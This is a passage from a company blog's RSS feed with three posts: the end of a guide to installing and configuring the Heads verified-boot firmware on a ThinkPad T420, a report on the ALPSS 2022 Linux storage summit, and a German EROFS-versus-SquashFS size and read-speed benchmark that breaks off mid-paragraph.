<h2 id="heads-the-little-brothersister-of-tails">Heads, the little brother/sister of Tails</h2>
<p>To improve some issues associated with x86 and its firmware flaws,
Heads makes use of well-audited, widely used open source projects.
It is based on the coreboot project<sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup> and the Linux kernel, plus a
few required libraries and utils. coreboot is an open source x86 firmware
with increasing board and Laptop support, only initializing the basic hardware
functions and then handing control to any custom payload.</p>
<h3 id="how-heads-works">How Heads works</h3>
<p>Heads moves the root of trust into the write-protected region of the SPI flash
and allows to completely verify the chain of trust until the measures of the
operating system take over. All signing keys are in total control of the user.
If all signatures match, the Linux kernel <code>kexec</code> syscall chain-loads the
operating system kernel. If anything went wrong, the user is instantly notified
and the system bootup process stops immediately. Using Linux as a bootloader,
the device drivers are shared among the bootloader and the kernel, which greatly
reduces the attack surface.</p>
<p>To verify the integrity of the firmware, the Trusted Platform Module (TPM), a
cryptographic coprocessor in modern mainboards, is used. It signs all parts of
the SPI flash: That means tampering is possible, but is noticed
on the next boot. The TPM also serves as a hardware key storage to decrypt the fully
encrypted operating system installed on the system&rsquo;s bootup disk.
However, at this point it is worth mentioning, that TPMs had various security flaws
in the past too: For example some Infinion TPMs<sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup> implemented a broken key generation
(RNG), or the communication between the TPM chip and the CPU was not secured by default
in old TPM versions<sup id="fnref:18"><a href="#fn:18" class="footnote-ref" role="doc-noteref">18</a></sup>.</p>
<p>Bootloader, hypervisor, kernel, ramdisk etc. are all signed by a user-controlled
key: The user&rsquo;s GPG public key is flashed into the firmware, so that signatures can
be verified on boot. Additionally, tampering of the firmware is detected by using
a time-based token (TOTP, verified on another device, e.g. Google Authenticator)
and a hardware token (HOTP, Nitrokey<sup id="fnref:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup>) with a boot counter.</p>
<h2 id="trying-out-heads-on-an-old-thinkpad">Trying out Heads on an old Thinkpad</h2>
<figure>
<img src="img/heads-meme.jpg" loading="lazy" decoding="async" alt="Heads meme" width="640" height="328"></figure>
<p>To evaluate and test Heads we used an old spare Lenovo ThinkPad T420, because it
offers good overall coreboot and Heads support.</p>
<p><strong>Please note:</strong> Warranty is void, no guarantee that anything works, proceed
at your own risk! That said, let&rsquo;s continue to the fun part. :-)</p>
<p>First, proceed with building Heads according to the official guide.<sup id="fnref:20"><a href="#fn:20" class="footnote-ref" role="doc-noteref">20</a></sup></p>
<p>We had to disassemble the whole laptop to access the BIOS SPI flash chip, as its
position is just below the magnesium frame under the keyboard. To ease future
access, I soldered some wires to the chip and managed to get them out at the
maintenance flap at the bottom of the laptop. However, you can also flash
only using a SOIC-8 clip if you trust your built image.</p>
<p>Then you can use a Raspberry Pi (or Bus Pirate or similar) to flash
the built image over the GPIO SPI interface.</p>
<figure>
<img src="img/spi-flash.jpg" loading="lazy" decoding="async" alt="SPI flash" width="1020" height="768"></figure>
<h3 id="show-me-what-you-got">Show me what you got</h3>
<p>If all went well, Heads initialization screen should show up on next boot.
First boot can take a few minutes because of Memory training - don&rsquo;t panic!</p>
<figure>
<img src="img/heads.jpg" loading="lazy" decoding="async" alt="Heads" width="1500" height="1000"></figure>
<p>Configure your Heads installation according to official documentation by
setting up GPG keys, TOTP or HOTP etc.<sup id="fnref:21"><a href="#fn:21" class="footnote-ref" role="doc-noteref">21</a></sup><sup id="fnref:22"><a href="#fn:22" class="footnote-ref" role="doc-noteref">22</a></sup></p>
<figure>
<img src="img/menu.jpg" loading="lazy" decoding="async" alt="Boot menu" width="1500" height="1000"></figure>
<p>After having passed GPG and TOTP/HOTP verifications, the full-disk-encryption
passphrase is asked for. Alternatively, the TPM passes it from the hardware
key store.</p>
<p>If all went well, the Linux kernel executes a kexec to jump into the Kernel of the
installed operating System - after having verified its integrity and signatures.</p>
<figure>
<img src="img/kexec.jpg" loading="lazy" decoding="async" alt="Kexec" width="1500" height="1000"></figure>
<p>In this case, Qubes OS comes up (which you should give a try btw, but that is
another blog post).</p>
<figure>
<img src="img/qubes.jpg" loading="lazy" decoding="async" alt="Qubes boot" width="1500" height="1000"></figure>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://osresearch.net/">https://osresearch.net/</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/osresearch/heads">https://github.com/osresearch/heads</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://trmm.net/Heads_33c3">https://trmm.net/Heads_33c3</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://puri.sm/">https://puri.sm/</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://nitrokey.com">https://nitrokey.com</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://osresearch.net">https://osresearch.net</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://github.com/corna/me_cleaner">https://github.com/corna/me_cleaner</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://osresearch.net/PDFs/Rootkit_in_your_laptop.pdf">https://osresearch.net/PDFs/Rootkit_in_your_laptop.pdf</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://osresearch.net/PDFs/Recon_2014_Skochinsky.pdf">https://osresearch.net/PDFs/Recon_2014_Skochinsky.pdf</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://osresearch.net/PDFs/x86_harmful.pdf">https://osresearch.net/PDFs/x86_harmful.pdf</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://osresearch.net/PDFs/state_harmful.pdf">https://osresearch.net/PDFs/state_harmful.pdf</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://www.pcworld.com/article/428561/hacking-teams-malware-uses-uefi-rootkit-to-survive-os-reinstalls.html">https://www.pcworld.com/article/428561/hacking-teams-malware-uses-uefi-rootkit-to-survive-os-reinstalls.html</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p><a href="https://www.pcworld.com/article/406190/wikileaks-documents-show-cias-mac-and-iphone-compromises.html">https://www.pcworld.com/article/406190/wikileaks-documents-show-cias-mac-and-iphone-compromises.html</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p><a href="https://trmm.net/Thunderstrike/">https://trmm.net/Thunderstrike/</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p><a href="https://www.theregister.com/2015/03/19/cansecwest_talk_bioses_hack/">https://www.theregister.com/2015/03/19/cansecwest_talk_bioses_hack/</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p><a href="https://coreboot.org/">https://coreboot.org/</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p><a href="https://www.schneier.com/blog/archives/2017/10/security_flaw_i_1.html">https://www.schneier.com/blog/archives/2017/10/security_flaw_i_1.html</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:18">
<p><a href="https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/">https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/</a>&#160;<a href="#fnref:18" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:19">
<p><a href="https://www.nitrokey.com/">https://www.nitrokey.com/</a>&#160;<a href="#fnref:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:20">
<p><a href="https://osresearch.net/general-building/">https://osresearch.net/general-building/</a>&#160;<a href="#fnref:20" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:21">
<p><a href="https://osresearch.net/Configuring-Keys/">https://osresearch.net/Configuring-Keys/</a>&#160;<a href="#fnref:21" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:22">
<p><a href="https://osresearch.net/InstallingOS/">https://osresearch.net/InstallingOS/</a>&#160;<a href="#fnref:22" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Alpine Linux Persistence and Storage Summit 2022</title><link>https://sigma-star.at/blog/2022/10/alpss-2022/</link><pubDate>Sun, 23 Oct 2022 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/10/alpss-2022/</guid><description><![CDATA[<h1 id="alpine-linux-persistence-and-storage-summit-2022">Alpine Linux Persistence and Storage Summit 2022</h1>
<p>In October 2022 the 5th <a href="https://alpss.at">Alpine Linux Persistence and Storage Summit (ALPSS)</a> was held.
The organizers Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger were proud to welcome a big and motivated bunch of the Linux Kernel Storage community from various nations around the world.
In old tradition the get-together took place at Lizumer Hütte (2019 m) in the Tuxer Alps.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="ALPSS 2022, perfect weather and the Lizummer Hütte" width="1600" height="1067"></figure>
<h2 id="day-1-its-all-about-hiking--and-food">Day 1: It&rsquo;s all about hiking – and food</h2>
<p>The main ingredients for a successful ALPSS: hot topics, Linux-focused brains, hiking and food. Or was it the other way round? However, we started with a pre-conference lunch. Afterwards we felt ready for the hike, starting at Lager Walchen in Wattental. With sweat and some photo-stops on the picturesque Zirbenweg we reached the Lizumer Hütte after some 2 hours. The lodge-keeper gave us a warm welcome and we switched back to where we started the day: food (plus some drinks).</p>]]></description><content:encoded><![CDATA[<h1 id="alpine-linux-persistence-and-storage-summit-2022">Alpine Linux Persistence and Storage Summit 2022</h1>
<p>In October 2022 the 5th <a href="https://alpss.at">Alpine Linux Persistence and Storage Summit (ALPSS)</a> was held.
The organizers Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger were proud to welcome a big and motivated bunch of the Linux Kernel Storage community from various nations around the world.
In old tradition the get-together took place at Lizumer Hütte (2019 m) in the Tuxer Alps.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="ALPSS 2022, perfect weather and the Lizummer Hütte" width="1600" height="1067"></figure>
<h2 id="day-1-its-all-about-hiking--and-food">Day 1: It&rsquo;s all about hiking – and food</h2>
<p>The main ingredients for a successful ALPSS: hot topics, Linux-focused brains, hiking and food. Or was it the other way round? However, we started with a pre-conference lunch. Afterwards we felt ready for the hike, starting at Lager Walchen in Wattental. With sweat and some photo-stops on the picturesque Zirbenweg we reached the Lizumer Hütte after some 2 hours. The lodge-keeper gave us a warm welcome and we switched back to where we started the day: food (plus some drinks).</p>
<h2 id="day-2-storage-mixed-with-good-weather">Day 2: Storage mixed with good weather</h2>
<p>The first round of presentations started with a talk by Richard Weinberger on his efforts to improve <a href="https://lore.kernel.org/linux-nfs/20220217131531.2890-1-richard@nod.at/">NFS re-export</a>. While most ideas to reduce the overhead of file handle wrapping didn&rsquo;t find love because they fix problems that exist only on NFSv3, the suggested approach to fix the ongoing cross-mount issue at least didn&rsquo;t result in rejection.
In the next talk Luis Chamberlain gave an overview of <a href="https://github.com/mcgrof/kdevops">kdevops</a>, <a href="https://github.com/osandov/blktests">blk-</a> and <a href="https://git.kernel.org/pub/scm/fs/xfs/xfstests-dev.git/">fstests</a> where he outlined where to expect determinism and where not. The conses was that testing the kernel is hard and traditional approaches often don&rsquo;t apply.</p>
<p>After a tea break both Alexei Starovoitov and Christoph Hellwig spoke about <a href="https://ebpf.io/">eBPF</a> and how to use it outside of the Linux kernel, for example directly on computational storage devices.
The general conses was that having small programs on network or storage devices makes sense for some workloads - but instead of having eBPF support in hardware it&rsquo;d make more sense to have a tiny CPU on these systems which can run a JIT. eBPF is way too Linux specific and restricted.</p>
<p>The final two presentations of the first day were given by Daniel Wagner and Hannes Reinecke.
Daniel spoke about his ongoing work on <a href="https://github.com/linux-nvme/nvme-cli">libnvme and nvme-cli</a>. Over the last year the userspace tooling around NVMe saw a major cleanup which will hopefully ease further maintenance.
Hannes explored the possibilities on how to have an isolated userspace helper process around which can initiate a <a href="https://lwn.net/Articles/666509/">kTLS</a> session for the kernel when needed. Especially when the root filesystem needs a multipath failover. One promising approach is using Linux&rsquo;s <a href="https://lwn.net/Articles/755919/">usermode driver</a> where the helper program is part of the kernel binary.</p>
<h2 id="day-3-more-storage">Day 3: More Storage</h2>
<p>Despite the early hour the very first presentation of the third day resulted quickly in a heated discussion. Pankaj Raghav gave a talk on how to support <a href="https://lore.kernel.org/linux-nvme/20220923173618.6899-1-p.raghav@samsung.com/">non power of two (npo2) zoned devices</a> in Linux.
While the topic sounds not too scary it caused immediate fear and anger among certain developers.
Currently Linux enforces that zones have power of two sizes. While this is considered as a sane technical decision, no specification enforces this constraint. Therefore some storage vendors expect Linux to support also non power of two sized zones. So far no consent was found on whether supporting npo2 devices is worth the technical burden nor whether there are users in the wild.
Pankaj&rsquo;s presentation was followed by Alex Graf. He discussed the possibilities of having thousands of NVMe disks attached to a single virtual machine. Using more disks per NVMe namespace would allow much more disks but due to shared queues this could cause performance problems. The other option is using NVMe over fabrics. While this scheme allows the needed amount of disk without performance penalties the user experience changes. Instead of having the disks directly attached to the VM, the operating system has to initiate the network attached disks. It was suggested to have single discovery server which helps the operating system finding all targets.</p>
<p>After a short break Paul McKenney presented a new way to work with <a href="http://www.rdrop.com/~paulmck/RCU/">RCU</a>. Instead of having a global grace period were all pending RCU work is waited for, he proposed a way to avoid waiting.
Alexei Starovoitov followed and gave a short presentation on how to use C extensions to catch common programming errors - mostly for use in eBPF.</p>
<p>The final two presentations where held by Tudor Ambarus, Pratyush Yadav and Keith Busch.
Tudor and  Pratyush gave an overview of Linux&rsquo;s <a href="https://www.kernel.org/doc/html/latest/driver-api/mtd/spi-nor.html">SPI-NOR</a> flash framework and their ongoing effort to work with various flash chips that do not follow the specification.
Last but not least, Keith gave insights in various performance improvements for Direct-IO he is currently working on. Especially combined with an IOMMU Linux has plenty of potential for optimizations.</p>
<h2 id="day-4-back-to-reality">Day 4: Back to reality</h2>
<p>Time goes fast when you&rsquo;re having a good time. In a blink it was time to pack our rucksacks again and leave for the valley. To make it a round trip – and be a bit quicker – we took the road down to Lager Walchen. With everybody safe back in lower altitudes, we said our farewells. Again, ALPSS kept what it promised: an ideal mix of in-depth, to-the-point talks and discussions on the latest in Linux Storage, peppered with the stunning panorama of the Tyrolean Alps. Sure thing, we are already looking forward to the next ALPSS.</p>
]]></content:encoded></item><item><title>EROFS vs. SquashFS: Ein einfacher Benchmark</title><link>https://sigma-star.at/de/blog/2022/07/squashfs-erofs/</link><pubDate>Thu, 21 Jul 2022 00:00:00 +0200</pubDate><author>David Oberhollenzer</author><guid>https://sigma-star.at/de/blog/2022/07/squashfs-erofs/</guid><description>&lt;h1 id="erofs-vs-squashfs-ein-einfacher-benchmark">EROFS vs. SquashFS: Ein einfacher Benchmark&lt;/h1>
&lt;p>In manchen spezialisierten Anwendungen kann es wünschenswert oder sogar
notwendig sein, ein unveränderliches Read-only-Dateisystem zu verwenden. Der
Grund kann im darunterliegenden Speichermedium liegen, etwa einer Live-DVD,
die sich nicht verändern lässt, oder einem Flash-Speicher in einem Embedded-System,
der mit jedem Schreibzyklus altert. Ein unveränderliches Dateisystem bietet
außerdem einen bekannten, wohldefinierten und stabilen Zustand. Einen Zustand,
zu dem man mit einem Neustart jederzeit zurückkehren kann.&lt;/p></description><content:encoded><![CDATA[<h1 id="erofs-vs-squashfs-ein-einfacher-benchmark">EROFS vs. SquashFS: Ein einfacher Benchmark</h1>
<p>In manchen spezialisierten Anwendungen kann es wünschenswert oder sogar
notwendig sein, ein unveränderliches Read-only-Dateisystem zu verwenden. Der
Grund kann im darunterliegenden Speichermedium liegen, etwa einer Live-DVD,
die sich nicht verändern lässt, oder einem Flash-Speicher in einem Embedded-System,
der mit jedem Schreibzyklus altert. Ein unveränderliches Dateisystem bietet
außerdem einen bekannten, wohldefinierten und stabilen Zustand. Einen Zustand,
zu dem man mit einem Neustart jederzeit zurückkehren kann.</p>
<p>Ein Read-only-Dateisystem-Image funktioniert technisch eher wie ein Archiv mit
wahlfreiem Zugriff, das <em>einmal</em> gepackt wird, zum Beispiel von einem
Yocto-Build-Prozess. Ein Dateisystem, das explizit für diesen Anwendungsfall
entworfen wurde, kann hochoptimierte Datenstrukturen und Kompressionstechniken
bieten. Daten und Metadaten lassen sich vorsortieren, optimal anordnen,
deduplizieren, und so weiter.</p>
<h4 id="squashfs-der-derzeitige-platzhirsch">SquashFS, der derzeitige Platzhirsch</h4>
<p>Auf Embedded-Linux-Systemen ist SquashFS derzeit das dominierende Dateisystem
für solche Anwendungen. Es wurde 2009 in den Mainline-Linux-Kernel aufgenommen
und löste das ältere cramfs ab. Anders als cramfs unterstützt SquashFS alle
Annehmlichkeiten eines typischen Dateisystems, etwa</p>
<ul>
<li>64-Bit-Datei- und Imagegrößen</li>
<li>lange Pfadnamen</li>
<li>erweiterte Attribute</li>
<li>NFS-Export</li>
<li>Sparse Files</li>
<li>eine Auswahl verschiedener Datenkompressoren</li>
</ul>
<p>Das On-Disk-Format von SquashFS ist auf hohe Datendichte ausgelegt. Dateidaten
werden in Blöcken von typischerweise 128KiB (bis zu 1MiB) komprimiert, wobei
sich kleinere Dateien einen Block teilen.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Metadaten (z.B. Inodes,
Verzeichnisinhalte) werden ebenfalls komprimiert, in Blöcken von 8KiB.
Dateidaten, Inodes und Verzeichnislisten werden getrennt voneinander abgelegt.
Alle Datenstrukturen sind byteweise ausgerichtet, und SquashFS verwendet sogar
Inodes variabler Größe, um noch die letzten Bytes herauszuholen.</p>
<h4 id="das-problem">Das Problem</h4>
<p>Das Ergebnis ist ein sehr kompaktes Dateisystem-Image, allerdings auf Kosten
der Lesegeschwindigkeit. Die Granularität der Metadatenblöcke bedeutet, dass
beim Lesen eine gewisse Menge an Daten mitgeladen und entpackt wird, die gar
nicht gebraucht wird. Da die komprimierten Blöcke variabel groß sind, liegen sie
praktisch nie an den Blockgrenzen des Datenträgers, was einen gewissen Overhead
bei der I/O verursacht. Unter Umständen ist vorab nicht einmal bekannt, wie viele
Daten zu lesen sind. Zuerst muss ein Header gelesen werden, der dem Block
variabler Größe vorausgeht.</p>
<h4 id="erofs-und-seine-vorteile">EROFS und seine Vorteile</h4>
<p>2019 wurde EROFS vorgestellt, erstmals verfügbar in Kernel 5.4. EROFS ist
ebenfalls ein komprimiertes Read-only-Dateisystem, priorisiert in seinem Design
aber die Leseleistung.</p>
<p>Während SquashFS Daten mit einer festen Eingabeblockgröße packt und dabei
komprimierte Blöcke variabler Größe erzeugt, verwendet EROFS <em>Fixed Output
Compression</em>. Die Menge der Eingabedaten darf flexibel sein, aber die
erzeugten komprimierten Blöcke haben eine feste Größe. Dadurch liegen sie
immer ideal an den I/O-Grenzen des Datenträgers. Die Größe ist stets im Voraus
bekannt, und die Blöcke lassen sich über einen Index statt über einen Offset
adressieren.</p>
<p>In EROFS werden Daten und Metadaten außerdem verschränkt statt getrennt
gespeichert, was in manchen Fällen bessere Lokalität und schnellere
sequenzielle Lesezugriffe ermöglicht.</p>
<p>Um herauszufinden, wie gut sich EROFS im Vergleich zu SquashFS schlägt, haben
wir einen Größenvergleich und einen Lesegeschwindigkeits-Benchmark
durchgeführt.</p>
<h3 id="benchmark">Benchmark</h3>
<p>Für diesen Benchmark wurde ein SquashFS-Image von der Debian 10.2 Xfce Live-DVD
extrahiert und in verschiedene andere Formate konvertiert. Das Image von der
DVD ist rund 2GiB groß und verwendet die Standard-XZ-Kompression mit der
Standardblockgröße von 128KiB.</p>
<p>EROFS unterstützte ursprünglich nur lz4-Kompression, hat aber kürzlich
experimentelle Unterstützung für lzma hinzugefügt. Das erfordert derzeit einen
eigenen Build der ebenfalls experimentellen Alpha-Version 5.3.2 von xz-utils.</p>
<p>SquashFS unterstützt ebenfalls lz4-Kompression. Um beide zu vergleichen, wurde
das SquashFS-Image mit den tar-Konvertierungsprogrammen aus
<code>squashfs-tools-ng</code> umgewandelt:</p>
<pre><code>sqfs2tar debian.sqfs | tar2sqfs -c &lt;compressor&gt; test.sqfs
</code></pre>
<p>Als Referenz wurden auf diesem Weg auch die Tarballs mit derselben Kompression
erzeugt, und <code>tar2sqfs</code> wurde zusätzlich so angepasst, dass es ein vollständig
unkomprimiertes SquashFS-Image erzeugt.</p>
<p>Für einen besseren Größenvergleich und um den Effekt der Fixed Output
Compression zu sehen, wurden weitere SquashFS-Images erzeugt, bei denen die
Blockgröße von 128KiB auf 4KiB reduziert wurde, die Standard-Ausgabeblockgröße
von EROFS.</p>
<p>Die EROFS-Images wurden gebaut, indem das SquashFS-Image entpackt und dann mit
<code>mkfs.erofs</code> aus den <code>erofs-utils</code> neu gepackt wurde:</p>
<pre><code>fakeroot rdsquashfs -XTCO -u / -p temp/ test.sqfs
fakeroot mkfs.erofs -z&lt;compressor&gt; test.erofs temp/
</code></pre>
<h3 id="vergleich-der-imagegrößen">Vergleich der Imagegrößen</h3>
<p>Sehen wir uns zuerst die absoluten Imagegrößen an.</p>
<table>
  <thead>
      <tr>
          <th>Kompressor</th>
          <th>tar</th>
          <th>SquashFS</th>
          <th>SquashFS 4KiB</th>
          <th>EROFS</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>none</td>
          <td>6.5 GiB</td>
          <td>6.1 GiB</td>
          <td>6.1 GiB</td>
          <td>6.4 GiB</td>
      </tr>
      <tr>
          <td>LZ4</td>
          <td>3.3 GiB</td>
          <td>3.1 GiB</td>
          <td>3.6 GiB</td>
          <td>3.9 GiB</td>
      </tr>
      <tr>
          <td>LZ4 HC</td>
          <td>2.8 GiB</td>
          <td>2.7 GiB</td>
          <td>3.4 GiB</td>
          <td>3.6 GiB</td>
      </tr>
      <tr>
          <td>XZ</td>
          <td>1.7 GiB</td>
          <td>2.0 GiB</td>
          <td>2.6 GiB</td>
          <td>2.7 GiB</td>
      </tr>
  </tbody>
</table>
<ul>
<li>
<p>Wir sehen sofort, dass SquashFS mit Standardeinstellungen kleinere Images
erzeugt als EROFS. Reduziert man die Blockgröße auf 4KiB, leidet die
SquashFS-Kompression deutlich unter dem kleineren Fenster, und die Ergebnisse
nähern sich denen von EROFS an, bleiben aber kleiner.</p>
</li>
<li>
<p>Im unkomprimierten Fall liegen SquashFS und EROFS nahe beieinander, sind aber
etwas kleiner als der Referenz-Tarball. Beide verwenden kompaktere, binäre
Datenstrukturen als <code>tar</code> und unterstützen Deduplizierung.</p>
</li>
<li>
<p>EROFS hat zudem etwas mehr Overhead als SquashFS, weil es größere, aber
leichter zu dekodierende Datenstrukturen verwendet. Außerdem legt es mehr Wert
auf Datenausrichtung für schnelle Lesezugriffe.</p>
</li>
<li>
<p>Bei LZ4 schlägt SquashFS sogar den komprimierten Tarball, und erst im
XZ-Fall gewinnt die Stream-Kompression mit ihrem großen gleitenden Fenster
schließlich gegen die feste Blockgröße von 128KiB.</p>
</li>
<li>
<p>Das XZ-komprimierte EROFS liegt größenmäßig ziemlich nahe bei SquashFS mit
4KiB-Blockgröße. Das ist eine Folge der Fixed Output Compression in EROFS. Es
wird deutlicher, wenn wir jedes Format <em>relativ</em> zu seiner eigenen
unkomprimierten Basis betrachten, was uns einen besseren Einblick gibt, wie
effektiv jedes Format die Datenkompression nutzt:</p>
</li>
</ul>
<table>
  <thead>
      <tr>
          <th>Kompressor</th>
          <th>tar</th>
          <th>SquashFS</th>
          <th>SquashFS 4KiB</th>
          <th>EROFS</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>none</td>
          <td>100.0%</td>
          <td>100.0%</td>
          <td>100.0%</td>
          <td>100.0%</td>
      </tr>
      <tr>
          <td>LZ4</td>
          <td>50.6%</td>
          <td>51.7%</td>
          <td>59.9%</td>
          <td>61.7%</td>
      </tr>
      <tr>
          <td>LZ4 HC</td>
          <td>42.5%</td>
          <td>44.1%</td>
          <td>56.1%</td>
          <td>57.0%</td>
      </tr>
      <tr>
          <td>XZ</td>
          <td>25.3%</td>
          <td>32.1%</td>
          <td>43.3%</td>
          <td>42.7%</td>
      </tr>
  </tbody>
</table>
<p>Mit effektiveren Kompressoren <em>schrumpft</em> der Abstand zwischen SquashFS mit
4KiB-Blockgröße und EROFS. Das liegt daran, dass EROFS bei besserer Kompression
das Eingabefenster vergrößern kann, was die Kompressionsrate verbessert.</p>
<h3 id="vergleich-der-lesegeschwindigkeit">Vergleich der Lesegeschwindigkeit</h3>
<p>Für einen Geschwindigkeitsvergleich wurden ein kleiner Linux-5.19-Kernel und
eine busybox-basierte initrd für einen Raspberry Pi 3 gebaut. Das zu testende
Dateisystem lag auf einer separaten ext4-Partition auf der Boot-Micro-SD-Karte.
Aus der busybox-Shell wurde das Image dann per Loop-Device gemountet und ein
Teil seines Inhalts in einen Tarball gepackt, was eine Baumtraversierung und
Zugriffe auf eine Reihe von Dateien auslöst:</p>
<pre><code>mkdir -p /mnt/sdcard/ /mnt/testfs/
mount /dev/mmcblk0p2 /mnt/sdcard/
mount /mnt/sdcard/&lt;testfs&gt; /mnt/testfs/
time /bin/tar cf - /mnt/testfs/usr/bin &gt; /dev/null
</code></pre>
<p>Wiederholt man die letzte Zeile 5 Mal (mit Leeren des Page-Cache dazwischen)
und nimmt die schlechteste Zeit, ergibt sich folgende Tabelle:</p>
<table>
  <thead>
      <tr>
          <th>Kompressor</th>
          <th>SquashFS</th>
          <th>SquashFS 4KiB</th>
          <th>EROFS</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>none</td>
          <td>6.75s</td>
          <td>7.60s</td>
          <td>6.38s</td>
      </tr>
      <tr>
          <td>LZ4</td>
          <td>4.76s</td>
          <td>6.61s</td>
          <td>4.05s</td>
      </tr>
      <tr>
          <td>LZ4 HC</td>
          <td>4.40s</td>
          <td>6.23s</td>
          <td>3.59s</td>
      </tr>
      <tr>
          <td>XZ</td>
          <td>24.81s</td>
          <td>32.44s</td>
          <td>17.71s</td>
      </tr>
  </tbody>
</table>
<p>Die I/O-Leistung lässt sich etwas leichter veranschaulichen und vergleichen,
wenn wir die Größe des erzeugten Tarballs (~125.0 MiB) durch die benötigte
Zeit teilen:</p>
<table>
  <thead>
      <tr>
          <th>Kompressor</th>
          <th>SquashFS</th>
          <th>SquashFS 4KiB</th>
          <th>EROFS</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>none</td>
          <td>18.5 MiB/s</td>
          <td>16.5 MiB/s</td>
          <td>19.6 MiB/s</td>
      </tr>
      <tr>
          <td>LZ4</td>
          <td>26.3 MiB/s</td>
          <td>18.9 MiB/s</td>
          <td>30.9 MiB/s</td>
      </tr>
      <tr>
          <td>LZ4 HC</td>
          <td>28.4 MiB/s</td>
          <td>20.1 MiB/s</td>
          <td>34.8 MiB/s</td>
      </tr>
      <tr>
          <td>XZ</td>
          <td>5.0 MiB/s</td>
          <td>3.9 MiB/s</td>
          <td>7.1 MiB/s</td>
      </tr>
  </tbody>
</table>
<ul>
<li>
<p>Der Wechsel von unkomprimiert zu LZ4 beschleunigt den Vorgang in allen 3
Fällen. Eine höhere Datendichte durch den HC-Modus bringt einen weiteren
Geschwindigkeitsgewinn. Die Zeit, die durch das Lesen von weniger Daten von der
SD-Karte gespart wird, überwiegt die Zeit, die das Wiederherstellen aus der
komprimierten Form kostet. Wir erkennen, dass die LZ4-Dekompression in unserem
Testaufbau I/O-gebunden ist.</p>
</li>
<li>
<p>Mit LZMA-Kompression bricht die Lesegeschwindigkeit dagegen drastisch ein,
verglichen mit dem Lesen unkomprimierter Daten. Das Entpacken der Daten auf der
CPU ist in allen 3 Fällen der Flaschenhals.</p>
</li>
</ul>
<h4 id="vergleich-mit-kleiner-blockgröße">Vergleich mit kleiner Blockgröße</h4>
<p>Vergleicht man EROFS zuerst mit SquashFS bei einer Blockgröße von 4KiB,
profitiert EROFS von den ausgerichteten Lesezugriffen und übertrifft die
Leseleistung unabhängig vom verwendeten Kompressor. Der Vorsprung von EROFS
gegenüber SquashFS wächst sogar mit steigender Kompressionsrate.</p>
<p>Das lässt sich wieder mit der Fixed Output Compression und der Ausrichtung
erklären. Bei SquashFS liegen die Dateisystemblöcke fast nie an den Grenzen der
Geräteblöcke. Beim Lesen eines Blocks entsteht also ein gewisser Overhead an
